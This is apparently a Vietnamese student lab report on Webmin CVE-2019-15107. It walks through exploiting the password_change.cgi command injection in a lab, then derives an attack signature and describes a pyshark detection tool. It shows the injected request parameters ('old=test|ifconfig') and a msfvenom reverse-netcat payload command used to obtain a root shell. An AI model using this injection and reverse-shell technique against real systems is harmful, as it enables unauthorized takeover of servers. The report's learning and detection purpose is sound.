I. Tổng quan về CVE-2019-15107 Webmin là một giao diện dựa trên web để quản trị hệ thống cho Unix. Sử dụng bất kỳ trình duyệt web nào, ta có thể thiết lập tài khoản người dùng, Apache, DNS, chia sẻ tệp và hơn thế nữa. Ngày 10/8/2019 nhà nghiên cứu an ninh mạng người Thổ Nhĩ Kỳ Özkan Mustafa Akkuş đã công bố lỗ hổng Zero-day tại DefCon ngoài việc công bố lỗ hổng Akkuş cũng phát hành một modulo Metasploit nhằm tự động hóa việc khai thác lỗ hổng này. Do lỗ hổng thực thi mã trong chức năng đặt lại mật khẩu của tệp password_change.cgi, lỗ hổng này cho phép bên thứ ba thực thi mã độc mà không cần xác thực đầu vào. II. Phiên bản ảnh hưởng Lỗ hổng này ảnh hưởng tới các phiên bản của Webmin từ 1.882 đến 1.921. Để ngăn ngừa lỗ hổng này, các bạn đang sử dụng Webmin nên cập nhật lên phiên bản Webmin mới nhất 1.93 III. Phân tích lỗ hổng Trong webmin, tính năng "cho phép thay đổi mật khẩu người dùng" cần phải được bật để khai thác lỗ hổng này. Đây là điều kiện duy nhất, tuy nhiên, nhiều người quản lý webmin kích hoạt tính năng này. Chúng cho phép người dùng đặt mật khẩu mới với mật khẩu cũ. Trong mã nguồn ứng dụng Webmin, có một số tệp ".cgi" đáng chú ý. Một trong số đó là password_change.cgi.
Chỉ có một yêu cầu để các tham số trong tệp này hoạt động, đó là giá trị "passwd_mode" trong tệp cấu hình "miniserv.conf" được đặt thành "2".
Tại thời điểm này, chúng tôi sẽ sử dụng "|" bằng cách đọc tệp /etc/shadow trong quá trình xác thực mật khẩu cũ. Ví dụ câu lệnh change password bình thường:
Nếu ta chèn thêm 1 lệnh đơn giản như “ifconfig” vào câu lệnh change password như hình dưới thì lệnh “ipconfig” đã được thực thi và kết quả được hiển thị.
IV. Mô hình triển khai
- Do CVE này thực thi dựa trên chức năng đặt lại mật khẩu khi mật khẩu cũ đã hết hạn của webmin nên victim phải cài đặt webmin ở chế độ đó là “Prompt users with expired password to enter a new one”.
V. Khai thác lỗ hổng CVE
- Bước đầu, máy attacker sẽ sử dụng Burp Suite để bắt những request gửi lên khi đổi mật khẩu trên webmin từ đường link: 192.168.109.128:10000/password_change.cgi (ip của vitctim)
-
Sau đó máy attacker gửi request này qua tab Repeater của Burp Suite để thử lỗi.
-
Attacker tiến hành chỉnh sửa một số thông tin từ gói request bắt được. Vì để thay đổi password thì HTTP Method phải là POST chứ không phải GET như ban đầu.
-
Sau đó máy attacker sẽ gửi thử một request thay đổi password từ password cũ lên server webmin của victim: “user=test&pam=&old=test&new1=test2&new2=test2”
-
Khi gửi request, ta sẽ nhận được thông báo là mật khẩu cũ không khớp (The current password is incorrect) nên cốt lõi sẽ là ở tham số “old”
-
Tiếp đến ta thử chèn một lệnh cơ bản như ifconfig vào sau tham số old để khi server check password cũ thì sẽ thực thi luôn câu lệnh ta chèn vào. Ví dụ như: “user=test&pam=&old=test|ifconfig&new1=test2&new2=test2”
-
Tương tự như trên, khi server kiểm tra password cũ thì vẫn là sai nhưng sau khi kiểm tra password đó thì lệnh “ifconfig” đã được thực thi và hiển thị.
-
Sau đó, để có thể chiếm quyền root ta sẽ dùng Metasploit framework để tạo một payload gửi lên server webmin của victim để nhận shell session. “msfvenom -p cmd/unix/reverse_netcat lhost= lport=”
-
Tiếp đến, ta copy payload và chèn vào request trên Burp Suite.
-
Sau khi gửi request có chứa payload lên webmin server thì máy victim đã bị dính reverse shell. Máy attacker nhận được một shell session đến máy nạn nhân (ip: 192.168.109.128 port 37218).
VI. Xác định signature của cuộc tấn công
-
Vì để khai khác CVE này, attacker sẽ phải dựa vào đường link /password_change.cgi để gửi những request có chứa payload độc hại qua Method POST của HTTP nên ta sẽ phải phân tích các gói tin HTTP bắt được trên Wireshark.
-
Ta thấy được lệnh “ifconfig” được chèn vào trong quá trình webmin server kiểm tra password cũ muốn thay đổi.
-
Vì vậy, ta xác định được signature của CVE này là những tham số truyền vào trong quá trình thay đổi password qua đường link /password_change.cgi “user=test&pam=&old=test | <lệnh attacker muốn thực thi> &new1=test2&new2=test2” VII. Xây dựng công cụ phát hiện tấn công CVE-2019-15107
-
Như đã phân tích bên trên, attacker muốn khai thác CVE này phải chèn command vào tham số old (“mật khẩu cũ”) để có thể thực hiện tấn công.
-
Để có thể phát hiện được những ai đang cố gắng chèn lệnh dựa trên lỗ hổng CVE này, ta sẽ phải bắt và phân tích các gói tin HTTP mà họ gửi lên bằng công cụ “pyshark”.
-
Data trong gói HTTP bắt được sẽ trả về dưới dạng Hex. Dựa vào tham số “old=” và “|” ta có thể biết được có ai đó đang cố gắng thực hiện khai thác CVE này. Hàm checkPayload để kiểm tra gói HTTP có vấn đề hay không.
-
Tiếp đó, sau khi xác định được gói HTTP nào có vấn đề thì hàm getCommand sẽ in ra những command mà attacker đang thực hiện.
-
Quá trình bắt và phân tích gói cũng được ghi lại dưới dạng .csv
VIII. Demo chương trình
-
Khi attacker thực hiện tấn công chương trình sẽ cảnh báo realtime.
-
Khi dừng chương trình thì sẽ ghi lại 1 file .csv các traffic bắt được trong quá trình chạy chương trình (payload http dưới dạng hex)
IX. Kết luận Qua quá trình học tập và làm các bài thực hành trên lớp em có thể hiểu phần nào về quá trình tìm hiểu và phân tích mã độc. Khi thực hiện việc khai thác và xây dựng chương trình phát hiện lỗ hổng CVE-2019-15107 em đã có thể áp dụng những kiến thức đã học vào việc phân tích và xây dựng chương trình phát hiện lổ hổng qua các signature nhờ đó nâng cao khả năng phân tích, phát hiện và xử lý các thông tin cũng như việc giám sát an ninh mạng.